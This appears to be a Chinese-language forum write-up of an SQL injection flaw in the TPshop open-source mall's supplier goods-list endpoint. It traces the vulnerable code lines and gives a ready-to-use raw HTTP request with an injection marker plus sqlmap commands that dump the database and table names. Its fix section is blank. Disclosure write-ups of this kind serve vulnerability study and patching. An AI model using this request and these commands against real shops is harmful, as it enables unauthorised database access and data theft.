0x01 前言

TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。

0x02 代码分析

跟踪到/Application/supplier/Controller/Goods.php中的ajaxGoodsList方法

  • 47 Line: 判断从外部获取的参数brand_id是否为真,若为真那么就将该参数的值拼接到where语句中。
  • 48 Line: 判断从外部获取的参数is_on_sale是否不全等于空,若是那么就将它拼接到where语句中
  • 51 Line: 利用三元运算符判断从外部获取的参数key_word是否为真,若为真那么清空该参数值两边的空格,若为假那么赋值为空(这里做的这个操作毫无意义)并赋值给$key_word
  • 52 Line: 判断$key_word是否为真
  • 53 Line: 将$key_word拼接到where语句中作为模糊查询(搜索功能)用
  • 72 Line: 获取post传入的值并赋值给$data
  • 73 Line: 将$data[‘orderby1’]、$data[‘orderby2’]拼接起来作为order语句使用并赋值给$order_str
  • 74 Line: 将where、order语句带入SQL语句中
  • brand_id、is_on_sale、key_word、post.orderby1、post.orderby2这些参数外部可控,且无过滤直接拼接到了SQL语句中,带入查询,导致SQL注入的产生

0x03 漏洞探测






五个参数均可触发漏洞

0x04 漏洞复现

POST /index.php/Supplier/goods/ajaxGoodsList/brand_id/1*/is_on_sale/1/key_word/1 HTTP/1.1
Host: 172.16.209.129:8084
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.209.129:8084/index.php/Supplier/goods/ajaxGoodsList/brand_id/1/is_on_sale/1?http:%2f%2f172.16.209.129:8084%2findex.php%2fSupplier%2fgoods%2fajaxGoodsList%2fbrand_id%2f1%27%2fis_on_sale%2f1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
Upgrade-Insecure-Requests: 1

orderby1=brand_id&orderby2=asc

将数据包保存为tpshop.txt

sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql"

sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql" --current-db

sqlmap -r tpshop.txt --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables

0x05 漏洞修复


点击收藏 | 0 关注 | 1
登录 后跟帖